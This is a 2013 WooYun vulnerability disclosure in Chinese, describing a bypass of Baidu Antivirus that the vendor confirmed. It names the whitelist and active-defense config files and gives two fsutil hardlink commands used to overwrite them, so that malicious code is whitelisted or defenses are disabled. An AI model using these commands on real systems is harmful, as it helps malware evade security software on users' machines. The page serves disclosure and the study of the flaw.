当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2013-036294

漏洞标题:再再再绕过百度杀毒任意执行代码(POC)

相关厂商:百度

漏洞作者: n0bele

提交时间:2013-09-06 17:56

修复时间:2013-12-05 17:57

公开时间:2013-12-05 17:57

漏洞类型:非授权访问/认证绕过

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2013-09-06: 细节已通知厂商并且等待厂商处理中
2013-09-08: 厂商已经确认,细节仅向厂商公开
2013-09-11: 细节向第三方安全合作伙伴开放
2013-11-02: 细节向核心白帽子及相关领域专家公开
2013-11-12: 细节向普通白帽子公开
2013-11-22: 细节向实习白帽子公开
2013-12-05: 细节向公众公开

简要描述:

有问题不怕,不补才操蛋,忽略我问题的厂商,要是回头偷偷把漏洞给补掉那就别整天装大爷了.提的bug都是你们该知道的,不该知道的也没什么大危害就几个人用而已.

详细说明:

这次我再接着搞这个2个文件.还是覆盖替换的套路.
//这个文件是杀毒白名单,免杀就往这加
C:\Documents and Settings\All Users\Application Data\baidu\baidusd\white_list.db
//这个是主动防御
C:\Documents and Settings\All Users\Application Data\baidu\baidusd\Config\900.dat
简单得多了,直接上硬链接,下班了代码不写了直接命令行CMD吧

fsutil hardlink Create "C:\white_list" "C:\Documents and Settings\All Users\Application Data\baidu\baidusd"
fsutil hardlink Create "C:\900.dat" "C:\Documents and Settings\All Users\Application Data\baidu\baidusd\Config\900.dat"


漏洞证明:

自己试就知道

修复方案:

你们懂

版权声明:转载请注明来源 n0bele@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:15

确认时间:2013-09-08 22:43

厂商回复:

感谢对百度安全的关注,我们正在处理修复此问题。
--“百度,因你更安全”

最新状态:

暂无


漏洞评价:

评论

  1. 2013-09-07 00:01 | 熊猫 ( 实习白帽子 | Rank:64 漏洞数:33 | panda)

    再再再再

  2. 2013-09-07 01:03 | QQ852451559 ( 实习白帽子 | Rank:79 漏洞数:18 | 学生党)

    哈哈哈哈

  3. 2013-09-08 17:13 | b33 ( 实习白帽子 | Rank:67 漏洞数:6 | Hs53RPs7z00q9d+IUnsxq5MoI5YvIPR3GJ9vMvLw...)

    赞一个

  4. 2013-09-09 09:39 | 围剿 ( 路人 | Rank:17 漏洞数:5 | Evil decimal)

    漏洞怒次奥了